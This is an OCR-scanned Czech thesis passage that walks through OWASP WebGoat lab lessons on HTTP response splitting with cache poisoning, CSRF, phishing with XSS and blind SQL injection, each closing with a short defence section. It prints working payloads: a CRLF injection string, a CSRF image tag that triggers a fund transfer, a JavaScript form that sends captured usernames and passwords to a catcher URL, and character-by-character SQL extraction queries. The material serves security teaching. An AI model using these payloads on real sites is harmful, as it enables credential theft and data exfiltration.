My jakozto uto¢nici predavame Skodlivy kod na webovy server spole¢né s normalnim
vstupem. Pro Zzadost obéti nebude probihat kontrola pro CR (carriage return, rovnéz %0d nebo
\r) a pro LF (line feed, taktéz jako %0a nebo \n) znaky. Tyto znaky nam poskytuji nejen
kontrolu nad hlavickou a télem odpovédi, které ma aplikace v umyslu vyslat, ale také nam
umoziuje vytvorit dal§i odpovédi, které budou zcela pod nasi kontrolou.

Utinek utoku HTTP Splitting je maximalizovan, pokud je ho doprovazi Cache Poisoning.
Cilem Cache Poisoning je naruSenim cache paméti obé&ti. Timto oklamanim mezipaméti
privedeme mezipamét k domnénce, ze stranka, ktera je postihnutd utokem HTTP Splitting,
je naprosto v pofadku. Utok se d&je pomoci zmitiovaného utoku HTTP Splitting a pfidanim
Last-Modified (hlavicka a nastaveni k budoucimu datu). To bude nutit prohlize¢, aby posilal
If-Modified-Since hlavicky pozadavku, ktery nam dava Sanci zachytit odpovéd serveru
anahradit ji s 304 Not Modified odpovédi. Piikladem muize byt vystup na nasledujicim
obrazku.

HTTP/1.1 304 Not Modified
Date: Fri, 30 Dec 2005 17:32:47 GMT

Obrazek 9 — HTTP Splitting, priklad vystupu
(zdroj: napovéda aplikace WebGoat)

2.3.3 Cil lekce
Cilem lekce je naucit nas, jak provadét utoky HTTP Splitting.

2.3.4 Postup

Autofi této lekce nas zadaji, abychom do policka Search by country napsali, dle navodu,
naptiklad en pro zkratku anglického jazyka.
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HTTP Splitting

OWASP WebGoat V5.2
Introduction
General
v

Http Basics
HTTP Splitting

Access Control Flaw

AJAX Security
Authentication Flaws
Buffer Overflow

Code Quality

Concurrency

Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling
Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Solution VideosThis lesson has two stages. Stage 1 teaches you how to do Restart this Lesson
HTTP Splitting attacks while stage 2 builds on that to teach

you how to elevate HTTP Splitting to Cache Poisoning.

Enter a language for the system to search by. You will notice that the application is redirecting your

request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a) to

exploit the attack. Your exercise should be to force the server to send a 200 OK. If the screen

changed as an effect to your attack, just go back to the homepage and after stage 2 is exploited

successfully you will find the green check in the left menu.

Stage 1: HTTP Splitting:

Search by country : ien

| Searcht |
Created by Sherif Koussa m

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 10 — WebGoat, kategorie General, lekce HTTP Splitting, zadani hodnoty

(zdroj: vlastni)

Jakmile patficné vyplnime policko a klikneme na tlacitko s napisem Search!, nase aplikace
WebScarab za¢ne okamzité zachytavat Zadosti, na které se mizZzeme podivat v nasledujicich

nékolika obrazcich.

| £ Edit Request

s =

I Intercept requests : Intercept responses: [ |
[ Parsed | Raw
Method URL Version
POST | [nitp:localhost80/WebGoatlessons/Generaliredirect jsp?Screen=2&menu=100 | TR |
| Header value
|Host localhost
Proxy-Conn.. |keep-alive
Content-le... |28
Cache-Con..|max-age=0
Authorization |Basic Z3VIc3Q623VIc30=
I Accept text/html, applicationfxhtml+xml, application/xml;q=0.9,imagefwebp,**;0=0.8 Insert
Crigin hitp:/iflocalhost
||Upgrade-In_[1 Delete
||User-.»\\gem Mozilla/5.0 (Windows NT 6.1, WOWE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safaril...
||content-Ty... |applications-www-form-urlencoded
||Referer hitp:iflocalhostWebGoatiattack?Screen=2&menu=100
Accept-Enc... |ozip, deflate, lzma
Accept-Lan. . |cs-CZ cs:g=08
Cookie JSESSIONID=EBEGTCC34047FAF5409AF00FES4DFOTA
T P T
URLEncoded | Text | Hex
Variable Value
language @
SUBMIT Search! Insert
Delete
5
| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts |

Obrizek 11 — WebScarab, kategorie General, lekce HTTP Splitting, zachyceni jazyka

(zdroj: vlastni)
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"4 Edit Request - —— o 0

Intercept requests : Intercept responses: [

rParsed r Raw |

FPOST hitp:Mocalhost80/AWebGoatlessons/Generaliredirect jsp?Screen=2&menu=100 HTTPA .1
Host: localhost

Proxy-Connection: keep-alive

Content-length: 28

Cache-Control: max-age=0

\uthorization: Basic Z3VIc3Q623VIc30=

\Accept: textthtml, applicationfhtml+xml, applicationiml;q=0.9,imageiwebp, */*,q=0.8

Origin: hitp:iocalhost

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWG4) AppleWebKil'537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPRI36.0.2
Content-Type: applicationf-www-form-urlencoded
Referer. hitp:ilocalhostWebGoat/altack?Screen=28menu=100&fromRedirect=yes&language=en |
\Accept-Encoding: gzip, deflate, lzma |
\Accept-Language: cs-CZ cs;q0=0.8

Cookie: JSESSIONID=EBG67CC34047FAFS409AFD0FEG4DFOTA

language=en&SUBMIT=Search%21

| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts |

Obrazek 12 — WebScarab, kategorie General, lekce HTTP Splitting, HTTP Request

(zdroj: vlastni)
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|£| Edit Request . - - - - » . — =

Intercept requests : Intercept responses: [

f Parsed r Raw |

GET hitp:/iwww radiodixie.cz:80/?do=playCzControl-nowplay&presenter=Article HTTR/1.1
Host: www.radiodixie.cz
Proxy-Connection: keep-alive
Accept applicationfjson, textljavascript, **; q=0.01

-Requested-With: XMLHitpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/a37.36 OPR/36.0.4
Referer: hitp:iiwww radiodixie.cziclanekilarry-thorne-finsky-hrdina-dustojnik-ss-a-clen-americkych-specialnich-sil-drzitel-valecnych-medaili-i-kri
Accept-Encoding: gzip, deflate, lzma, sdch
Accept-Language: cs-CZ cs,q=0.8
Cookie: _ga=GA1.2.808495023.1458007784

4] i [ IC

e

| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts |

Obrazek 13 — WebScarab, kategorie General, lekce HTTP Splitting, HTTP Request 2

(zdroj: vlastni)

Pokud ov§em zadame do kolonky napiiklad text ve formatu:

foobar%0d%0aContent-|
L ength:96200%0d%0a%0d%0aHT TP/1.1%20200%200K%0d%0aContent-]
Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked</html>]

docilime nésledujiciho vysledku.

4+ c == l@ localhost/WebGoat/attack

Hacked J

Obrazek 14 — Vystup v prohliZe¢i Opera

(zdroj: vlastni)
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Pokud se v prohlizeci vratime zpét, v aplikaci WebGoat na nas bude ¢ekat nasledujici zprava.

* Now that you have successfully performed an HTTP Splitting, now try to poison the
victim's cache. Type 'restart’ in the input field if you wish to to return to the HTTP Splitting
lesson.

Stage 2: Cache Poisoning:

Search by country : foobarContent-Length: DH_

String index out of range: -14

Created by Sherif Koussa m m

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 15 — WebGoat, kategorie General, lekce HTTP Splitting, oznameni o uspé$Sném provedeni

(zdroj: vlastni)

2.3.5 Obrana

Obranou proti tomuto utoku je filtrovani urcitych znakt ze vSech uzivatelskych vstupt a to
v riznych formach koédovani. Je nutné to provést pred tim, nez jsou tyto znaky pouZity pfi
jakémkoliv generovani hlavicek.

2.4 Cross Site Scripting

Jednou z dalsi kapitol ve vyukové aplikaci WebGoat je Cross Site Scripting. Cross Site
Scripting, zndmé také pod pojmem XXS, je jednou z nejstarSich metod pro napadeni néjaké
webové aplikace. Smyslem této metody je to, ze vyuzijeme bezpecnostnich chyb ve skriptech
webové stranky a diky témto chybam v zabezpeceni webové aplikace jsme schopni
na napadané stranky vlozit nas vlastni javascriptovy kéd. To muze mit za pric¢inu hned
nékolik véci. Nami vloZeny koéd na cizi nezabezpecenou stranku muiZze vést k poskozeni
vzhledu dané stranky, mizeme zpUsobit, ze nami napadena stranka prestane fungovat a také

se ndm miZe podafit ziskat néjakeé citlivé udaje uzivatell, kteti takovou stranku navstévuji.

Tento utok se Casto vyuZziva pii phishingu tak, Ze se skrze zranitelnosti XXS zobrazi uzivateli
jiny obsah stranky na jinak divéryhodné strance. Pokud touto metodou zménime obsah
n¢jaké stranky, obycejny navstévnik dané strdnky nemd vlbec Sanci poznat, Ze se jednd
0 podvrh. Napiiklad mizeme zaménit cil pfihlasovaciho formulafe na strance tak, aby se
jméno a heslo navstévnikll stranky odesilalo nam namisto do pivodni aplikace. Dokonce
existuji programovi Cervi, ktefi se takto $ifi sami z napadené stranky na dals$i webové stranky
s chybami v jejich zabezpeceni.

Jesté veétsim nebezpeci je fakt, Zze podstréeny javascriptovy koéd je provadén v kontextu dané
stranky. Tim jakoZto Gito¢nici mame napiiklad plny pfistup k uzivatelové cookies a skrze XXS
mu muzeme ziskat jeho aktudlni Session ID a to vetné jeho platného ptihlaseni do aplikace.
Praktickych zptsobi, jak do zdrojového kodu napadené stranky dostat nd$ Skodlivy script,
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existuje cela fada. Casto se k tomu jako prostiedek vyuZivaji i kombinace s nékterymi jinymi
utoky, které si vzapéti z aplikace WebGoat predstavime.

2.5 Lekce 3 - Cross Site Request Forgery (CSRF)
2.5.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Piiprava
pro teoretickou ¢ast. Lekce spada do kategorie Cross Site Scripting.

2.5.2 Cil lekce

Tato lekce ndm ma ukazat utok Cross Site Request Forgery, kde se budeme snazit skrze
formular vlozit funkci, kterd bude prevadét urcité prostiedky.

2.5.3 Postup

Tato funkce bude schovana pro odkaz img, coz je zkratka od anglického image, Cesky
obrazek. My konkrétné¢ budeme pracovat s HTML kodem, ktery nam aplikace WebGoat
zadala ve znéni:

<Img src = "http://www.mybank.com/sendFunds.do?acctld=123456" />|
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Cross Site Request Forgery (CSRF)

OWASP WebGoat V5.2

Introduction
General
Access Control Flaws

Solution VideosYour goal is to send an email to a newsgroup that contains an Restart this Lesson
image whose URL is pointing to a malicious request. Try to
include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra

iﬂ.?ﬁe?fi?a?ito&ri Flaws parameter "transferFunds=4000", You can copy the shoertcut from the left hand menu by right clicking
Buffer Overflows " on the left hand menu and choosing copy shortcut, Whoever receives this email and happens to be
Code Qualit o authenticated at that time will have his funds transferred. When you think the attack is successful,
G 4 refresh the page and you will find the green check on the left hand side menu.
oncurrency

Cross-Site Scripting (XSS)

Phishing with X35 Title:  |Test

LAB: Luoge Sits Sufpticg MessageiHacked: <img src="http://www.mybank.com/sendFunds.dao?

Stage 1: Stored X55 acctId=123456"/>

Stage 2: Block Stored X55

using Input Validation

Stage 3: Stored XS5 Revisited

Stage 4: Block Stored X55

using Qutput Encoding

Stage 5: Reflected XS5 Submit

Stage 6: BElock Reflected XS5
Stored X55 Attacks

Message List

v Cross Site Request Forgery lol

(CSRF hh
o Text
Reflected 155 Attacks Text
Test
HTTPOnly Test Test

. bla
Cross Site Tracing (X5T) Test
Attacks Test

Denial of Service Created by Sherif Koussa m_m

Improper Error Handling
Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

OWASP Foundation | Project WebGoat | Report Bug

Obrizek 16 — WebGoat, kategorie Cross Site Scriptting, lekce Cross Site Request Forgery, vloZeni kodu

(zdroj: vlastni)

Nyni jsme vlozili kod do textového pole pro obsah zpravy. Dale klikneme na potvrzovaci
tlacitko s napisem Submit. KdyZ se poté ob&t” pokusi nacist tuto stranku, zasle se pozadavek
na www.mybank.com na stranku transferFunds.do s ur€enymi parametry. Prohlize¢ si bude
myslet, Ze odkaz slouZi k ziskani obrazku, zatimco se skutecnosti se jedna o skrytou funkci
k pievodu prostiedkd. Zadost bude obsahovat viechny soubory cookies spojené s timto
webem. Proto v ptipadé, Zze je uzivatelim UCet na strance ovéfen a ma bud’ permanentni
cookie nebo dokonce aktualni cookie, stranka nebude mit Zadny zpisob jak rozlisit, zdali se
jednéd o legitimni pozadavek uzivatele nebo ne. Timto zplisobem muizeme obéti provadet
ruzné zaskodnosti, jako je odhlaSovani, nakup zbozi v internetovém obchod¢ nebo jakékoliv
jiné funkce poskytované zranitelnou webovou strankou.
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Cross Site Request Forgery (CSRF)

OWASP WebGoat V5.2

Introduction
General
Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows
Code Quality
Concurrency
Cross-Site Scripting (XSS)
Phishing with X55
LAB: Cross Site Scripting
Stage 1: Stored X535
Stage 2: Block Stored %55
using Input Yalidation
Stage 3: Stored X55 Revisited
Stage 4: Block Stored X55
using Output Encoding
Stage 5: Reflected X535
Stage &: Block Reflacted X535
Stored X55 Attacks

Cross Site Request Forgery
{CSRF)

v Reflected XS5 Atfacks

HTTPOnly Test

v Cross Site Tracing (X5T)
Atfacks
Denial of Service
Improper Error Handling
Injection Flaws
Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services
Admin Functions
Challenge

Solution VideosYour goal is to send an email to a newsgroup that contains an Restart this Lesson
image whose URL is pointing to a malicious request. Try to

include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra

parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking

on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be

authenticated at that time will have his funds transferred. When you think the attack is successful,

refresh the page and you will find the green check on the left hand side menu.

Title:
Message:

M essage Conter
Title: Test

Message: Hacl
Posted By:guest

For: Test

Message List
Test

Created by Sherif Koussa m_m

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 17 — WebGoat, kategorie Cross Site Scriptting, lekce Cross Site Request Forgery, vysledek

(zdroj: vlastni)

Pokud si po odeslani zpravy nasi zpravu najdeme ve spodni ¢asti v seznamu zprav pod
nazvem Message List a rozklikneme ji, zobrazi se nam jeji obsah a jiné parametry. V obsahu
zpravy vidime, ze obsahuje ikonku obrazku, ktery se ndm nezobrazuje. Zobrazit se
ani nemuze, jelikoz tam zadny neni. Pouze jsme vyuzili jeho zapis pro vlozeni naSeho
Skodlivého kédu. Na nasledujicim obrazku muizeme vidét zachyceny HTTP pozadavek

aplikaci WebScarab.
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| % Edit Request ESREEE

Intercept requests : Intercept responses : ||

Parsed Raw

POST hitp:Mocalhost80/WebGoataltack?Screen=9&menu=900 HTTP/1.1

Host: localhost

Proxy-Connection: keep-alive

Content-length: 126

Cache-Control: max-age=0

Authorization: Basic Z3VIc3Q623VIc30=

Accept: text/html applicationfhtmi+xml applicationfml;q=0.9 imageiwebp,**q=0.8
Crigin: hitp:iflocalhost

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWG4) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2
Content-Type: applicationf-www-form-urlencoded

Referer: hitp:MocalhostWebGoat/attack?Screen=9&menu=900&MNum=65
Accept-Encoding: gzip, deflate, lzma

Accept-Language: cs-CZ,cs,0=0.8

Cookie: JSESSIONID=BD9938F95A31A4876BCO4FDTT46F1ACT

itle=Test&message=%3CImg+src+%30D+%22hitp % 3A% 2F % 2Fwww.mybank.com%2FsendFunds. do%3Facctld% 3D 123456 %22+% 2F%3EY

Il | [»

e A T T T e T T T T e T T T e T T T T e T e T T T e T T T T e e e T T T e T T T e T e e S T T e T T e T e e T B A A VT T e T e R R T,

Accept changes I Cancel changes | Abort request ‘ ‘ Cancel ALL intercepts ‘

Obrazek 18 — WebScarab, kategorie Cross Site Scriptting, lekce Cross Site Request Forgery, vystup

(zdroj: vlastni)

2.5.4 Obrana

Jako opatfeni proti tomuto utoku se doporucuje pouZivat zasadn€ HTTP metodu POST a to
konkrétn¢ v administra¢ni ¢asti internetovych aplikaci. Dale se vyuziva autorizacni token, coz

je ndhodné vygenerovany fetézec pro tuto akci, platici jen pro aktualniho uzivatele.

2.6 Lekce 4 — Phishing with XSS
2.6.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Ptiprava
pro teoretickou ¢ast. Lekce spadéa do kategorie Cross Site Scripting. V této lekci se podivame
na metodu utoku s nazvem Phishing with XSS.
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2.6.2 Phishing with XSS

Je to vzdy dobry zptisob pro ovéfeni vSech vstupti na strané serveru. V okamziku, kdy vstup
ovéten¢ho uzivatele je pouzit v HTTP odpovédi, mize nastat XSS. S pomoci XSS miizeme
provadét utoky typu phishing a pfidavat tak novy obsah na stranku, ktera vypada jako stranka
oficialni. Pro obét je pak velmi obtizné determinovat, ze je tento obsah Skodlivy.

Logoute

Phishing with XSS

OWASP WebGoat V5.2

Introduction

General

Access Control Flaws
AJAK Security
Authentication Flaws
Buffer Overflows

Solution VideosThis lesson is an example of how a website might support 2 Restart this Lesson
phishing attack

Below is an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:

Code Quality = Insert html to that requests credentials
Concurrency . = Add javascript to actually collect the credentials
Cross-5ite Scripting (XS5) = Post the credentials to http://localhost/WebGoat/catcher?PROPERTY =yes...

Phishing with X55
LAB: Cross Site Scriptin

To pass this lesson, the credentials must be posted to the catcher serviet,

Stage 1: Stored X55

Stage 3: Block Stored X55

using Input Validation

Stage 3: Stored X535 Revisited This facility will search the WebGoat source.
Stage 4: Block Stored X55
using Output Encoding
Stage 5: Reflected X355

WebGoat Search

Search:

Stage é: Block Reflacted XSS Search

Stored X55 Attacks

OWASP Foundation | Project WebGoat | Report Bug

Reflected X55 Attacks

HTTPOnly Test

Denial of Service
Improper Error Handling
Injection Flaws
Insecure Communication
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Admin Functions
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Obrazek 19 — WebGoat, kategorie Cross Site Scriptting, lekce Phishing with XSS, formulaf ve vychozim
stavu

(zdroj: vlastni)

2.6.3 Cil lekce

Na pfedchozim obrazku vidime stranku s néjakymi formulédfovymi prvky. Konkrétné se jedna
o0 jedno textové pole a pod nim se nachazi tlacitko Search, které slouzi pro odeslani dat. Skrze
tyto formulafové prvky budeme nas utok ve vyukovém prostiedi aplikace WebGoat provadet.
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2.6.4 Postup

Podivejme se tedy na to, jak dany utok provést. Vyukové materialy nas nabadaji k tomu,
abychom do textového pole zadali nasledujici HTML kod:

<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter
Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input|
type="password" name = "pass"><br></form><br><br><HR>|

Tento HTML kod zptisobi to, ze se ndm na dané strance zobrazi dalsi formulafové prvky, coz
muzeme videt na nasledujicim obrazku.
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Enter Password:
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Obrazek 20 — WebGoat, kategorie Cross Site Scriptting, lekce Phishing with XSS, rozsifeni formulaie o
dalsi formulafové prvky

(zdroj: vlastni)

Dale nam aplikaci napovidano, Ze budeme potiebovat script, jehoz podoba je nasledujici:
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<script>function hack(){ alert("Had this been a real attack... Your credentials were just
stolen.” User Name =" + document.forms[0].user.value + "Password =" +
document.forms[0].pass.value); XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY =yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}
</script>

Tento scrip provede totiZ to, Ze precte vystup z textového pole formulaie a zasle ho na catcher
aplikace WebGoat. Pfesnéji na odkaz:

http://localhost/WebGoat/catcher?PROPERTY =yes&user=catchedUserName&password=catc
hedPasswordName

Poslednim krokem je pak spojit tyto dvé veéci dohromady. Tedy HTML kod, ktery vytvori
dalsi formulafové prvky, do kterych uZzivatel zada své uzivatelské jméno a heslo, a zminovany
Skodlivy script, ktery uzivatelské udaje obéti zaSle na catcher. Vysledny potfebny kod je
nasledujici:

<script>function hack(){ alert("Had this been a real attack... Your credentials were just
stolen. User Name =" + document.forms[0].user.value + "Password = " +
document.forms[0].pass.value); XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY =yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; }
</script><form><br><br><HR><H3>This feature requires account login:</H3
><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter]
Password:<br><input type="password" name = "pass"><br><input type="submit"|
name="login" value="login" onclick="hack()"></form><br><br><HR>|
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Stage 1: Stored X35 WebGoat Search

Stage 2: Block Stored X55
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Stage 3: Stored X55 Revisited

Stage 4: Block Stored X55
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will search the Web ource.

Search: <script=function hack(){ ale
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{C5RF}
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HTTPOnly Test
v Cross Site Tracing (X5T) Entgr Username:
Aftacks Emil
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Denial of Service
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Injection Flaws
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Insecure Configuration
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Admin Functions No results were found.
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OWASP Foundation | Project WebGoat | Report Bug

Obrazek 21 — WebGoat, kategorie Cross Site Scriptting, lekce Phishing with XSS, zadani kédu a vypInéni
uZivatelského jména a hesla

(zdroj: vlastni)

Dany kéd zkopirujeme do textového pole (viz oranZové zvyraznéni na pfedchozim obrazku)
a do formulafovych prvkl pro uzivatelské jméno a heslo zadame néjaké smyslené udaje
predstavujici piihlaSeni se néjakého uzivatele (viz Cervené zvyraznéni na piedchozim
obrazku). Jako uzivatelské jméno zvolime napiiklad jméno Emil a pro heslo vybereme
kratkou ¢iselnou kombinaci 123. Poté sta¢i jiz jen kliknout na tlacitko s napisem login
a uzivatelské tidaje jsou zaslany na catcher aplikace WebGoat. Pro ukdzku jsme v pribéhu
lekce méli zapnuty program WebScarab, ve kterém jsme dané uzivatelské tidaje zachytili
a nyni se na né mizeme na nasledujicim obrazku podivat.
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| % Edit Request ol B

Wl ——

Intercept requests : Intercept responses : [|
Parsed Raw
Method URL Version
|F'OST| |hltp:f.flocaIhost8UIWebGoah’aitack?Screenfl3&menu=900 | |HTTF'H.1 |
Header Value
Host localhost
Proxy-Conn...|keep-alive
Content-le... |943
Cache-Con...\max-age=0
Authorization |Basic Z3VIc3Q623VIc30=
Accept text/ntml, applicationfxhtml+xml applicationml;q=0.9 image/webp */*;q0=0.8 Insert
Origin hitp:/flocalhost nse
Upgrade-in...|1 Delete
User-Agent [Mozilla/5.0 (Windows NT 6.1, WOWE4) AppleWebKit/537 36 (KHTML, like Gecka) Chrome/49.0.2623.110 Safari/...
Content-Ty... [applicationf-www-form-urlencoded
Referer hitp:flocalhostWebGoatialtack?Screen=13&menu=800
Accept-Enc... |gzip, deflate, lzma
Accept-Lan... |cs-CZ cs;0=0.8
Cookie JSESSIONID=B999793F3ETE497A283T7F1FSTI983E2A
T
URLEncoded | Text | Hex |
Variable Value
Username =script=functio ck(}{ alert{"Had this been a real altack... Yourcr...
user Emil
pass 123
login login
o, - Insert
Delete
T L LT LT T Lt L L LT L L L L L L L e
| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts I
L — — — __L - —

Obrazek 22 — WebGoat, kategorie Cross Site Scriptting, lekce Phishing with XSS, zachyceni uzivatelskych
prihlasovacich udaju

(zdroj: vlastni)

2.6.5 Obrana

Jak se proti phishingu branit? Pouzivejme bezpecné spojeni. Kdyz phising pochazi
ze zahranici, vétSinou ho rozezname diky Spatné cestin€. Podezielé e-maily radéji ignorujme
a neklikejme na zadné odkazy v téchto e-mailech. Pro pfihlaseni pouzivejme oficialni stranky.

2.7 Lekce 5-Blind SQL Injection
2.7.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Piiprava
pro teoretickou Cast. Jedna se o jeden z nékolika riznych metod, které spadaji do skupiny
utokt SQL injection.

2.7.2 Blind SQL Injection

Tento typ SQL injection je spiSe takovy nadSenecky. Je mozné ho provadét rucné, ale to je
velice naro¢né. Cely tento Utok totiz probihda na trovni, kde detekujeme, zdali jsou dané
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dotazy napsany spravné nebo jestli v nich jsou néjaké chyby. Protoze pii utoku nemame
visualni kontrolu nad tim, jak utok pravé probiha, zvySuje se tak zpravidla pocet pozadavki
odesilanych k serveru. Kdyz vezmeme v potaz to, ze kazdé SQL piipojeni miize byt drzeno
Vv relaci az po dobu jedné hodiny, je celkem snadné dojit k zavéru, Ze zabrat veskera mozna
spojeni je velmi jednoducha zalezitost. Ano, je zde sice takovd moznost, ze se muze
minimalizovat pocet pozadavkid vedoucich k danému cili pomoci algoritmli zaméfenych
na puleni intervald, ale 1 tak se jedna o nemala ¢isla.

Samotny pribéh utokl je tedy zaméfen na jednotlivé znaky dotazi. Prikladem miize byt

jednoduché detekce verze MySQL, ktera by mohla vypadat tfeba nésledujicim zptisobem:

1 and 1 = (ascii(substring((SELECT version()),1,1))=53)|

Z funkce ascii je nam vracena ¢iselnd hodnota znaku, ktery se v fetézci nachéazi nejvice vlevo.
Funkce substring nam slouZzi pro ziskani poctu znakii od zadané pozice, ktery je v zadaném
fetézci. Pokud bychom chtéli ptipadné zjistovat nazvy tabulek, sloupcti nebo kdybychom se
rozhodli zjistit néjaké zaznamy v tabulkach, budeme postupovat podobnym postupem jako
Vv predeslé ukazce. Cely potenciondlni utok mizeme ucinit mnohem hiife detekovatelnym a to
za tak, Ze cely postup vyladime pouzitim podminek a dalSich funkci.

Obecné SQL utoky predstavuji vaZznou hrozbu pro jakékoliv stranky s databazi. Navic metody
pro tento typ utoki jsou snadné k nauceni a mohou zptsobit velké Skody. Navzdory témto
rizikiim je neuvétitelné mnoZstvi systému na internetu slabé proti této form¢ Gtoku. Pfitom se
tato hrozba dd celkem snadno podnitit a s trochou zdravého rozumu a predvidavosti ji
muzeme Uupln¢ zabranit.

2.7.3 Cil lekce

V této lekci nam bude ukéazano nékolik SQL injection piikladu.

2.7.4 Postup

SQL piikazy lze slu¢ovat dohromady pomoci klicovych slov, jako jsou AND a OR. Skrze
klicova slova TRUE a FALSE lze zjistovat, zdali dany SQL piikaz spliiuje néjakou zadanou
podminku. Backend databaze je HSQLDB neboli HyperSQL DataBase. Backend je oznaceni
pro ¢ast webové aplikace, kterd je urCena ke zpracovavani dat a k administrativni spravé
webové stranky. Méjme na paméti, Ze na internetu jsou riizné typy databazi a pro kazdou lze
pouzit jinou syntaxi a sadu funkci. Toto je kod pro doraz, ktery sestavila a vydala aplikace
WebGoat:

ISELECT * FROM user_data WHERE userid =|

Na konec tohoto piikazu se jeSt€ dosadi account number neboli €islo uZzivatelského uctu.
Aplikace se na toto Cislo sama pta, coz miiZeme vidét na nasledujicim obrazku.
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Reference Ascii Values: '‘A"'=65'Z'=90'a" =97 'z = 122

The goal is to find the value of the first_name in table user_data for userid 15613. Put the discovered
name in the form to pass the lesson. Only the discovered name should be put into the form field,
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Obrazek 23 — WebGoat, kategorie Injection Flaws, lekce Blind SQL Injection, vyzva aplikace k zadani
¢isla uZivatelského uctu

(zdroj: vlastni)

V prubéhu této lekce budeme potiebovat nékolik SQL funkci, jako je tieba funkce SELECT,
ktera ma za ukol realizovat uzivatelské dotazy nad daty. Dale je tu naptiklad funkce substr,
ktera vraci podfetézec zacinajici na urCitém mist¢ a s celkovou délkou, ktera je zadana
Vv parametrech. Parametry této funkce jsou celkem tfi a to string, start a lenght, kde string
znazoriuje fetézec, ze kterého bude dany podietézec vznikat, start zna¢i pocatek podietézce
a posledni parametr lenght obsahuje ¢iselnou délku toho, jak mé byt dany podietézec dlouhy.
Jednotlivé prvky databaze lze mezi sebou také porovnavat skrze znaky < a >. Napftiklad
muzeme porovnavat, ktery uZivatel ma vyssi Cislo svého uZivatelského uctu. Néapovéda
aplikace WebGoat nam tika, abychom zkusili do policka zadat kod v nasledujicim znéni:

101 AND (ascii( substr((SELECT first name FROM user_data WHERE userid=15613) , 1 |
1)) <77)

Zkusime tedy pozadovany kod zadat a uvidime, jaky vystup nam aplikace vrati. Do policka
jsme tedy zadali pfedchozi kod (viz oranzové zvyraznéni na nasledujicim obrazku) a dale
jsme kliknuli na tlacitko s napisem Go!, kterym piikaz odesleme. Na vystupu aplikace se ndm
zobrazil napis se slovy account number is valid (viz Cervené zvyraznéni na nasledujicim
obrazku), tedy Ze ¢islo uZzivatelského uctu odpovida a spliuje pozadovana kritéria z daného
kodu.
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Reference Ascii Values: 'A"' = 65'Z'=90"a' = 97 ' = 122
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— e~
Enter your Account Number{Jm AND (ascii( substr((SE GO,L”)
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By Chuck Willis

OWASP Foundation | Project WebGoat | Report Bug
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Obrazek 24 — WebGoat, kategorie Injection Flaws, lekce Blind SQL Injection, zadani kédu a zobrazeni
vystupu

(zdroj: vlastni)

Stale ale jen zjiStujeme, zdali ndmi hledany podietézec (v naSem piipadé jedno pismeno) ma
mensi ascii kod, nez je zadana hodnota. Pokud vSak v kddu zaménime znak < za znak =,
budeme zjiStovat, Ze mame konkrétni znak. Vime, Ze ¢islo 74 v ascii kodu znamené pismeno
velké J. Aplikace nas dale nabadéa k tomu, abychom postupné urcovali 1 dal$i znaky a toho
docilime dle napovédy aplikace skrze nésledujici kody:

101 AND (ascii( substr((SELECT first name FROM user_data WHERE userid=15613) , 1 |
1))=74)
101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613) , 2 |

1)) =111)
101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613) , 3 |
1))=101)

101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613) , 4 |
1))=115)
101 AND (ascii( substr((SELECT first name FROM user data WHERE userid=15613) , 5 |
1)) =112)
101 AND (ascii( substr((SELECT first name FROM user data WHERE userid=15613) , 6 |
1)) =104)
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Kazdy z téchto kodl nam znézoriuje jedno dalsi pismeno, a pokud dana pismena poskladame
Vv potadi, ve kterém jsme i1 zadavali dané kody, ziskame tak jméno Joesph, ktery aplikace
chtéla, abychom nasli. Pro dokonceni lekce sta¢i toto jméno vlozit do policka v aplikaci
a potvrdit zadany obsah tlacitkem, jak miizeme vidét na nasledujicim obrazku.
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name in the form to pass the lesson. Only the discovered name should be put into the form field,
paying close attention to the spelling and capitalization.

Injection Flaws * Congratulations. You have successfully completed this lesson.
ind SOL Iniection Enter your Account Numbér: |Joesph
Numeric SQL Injection By Chuck Willis
Log Speofing
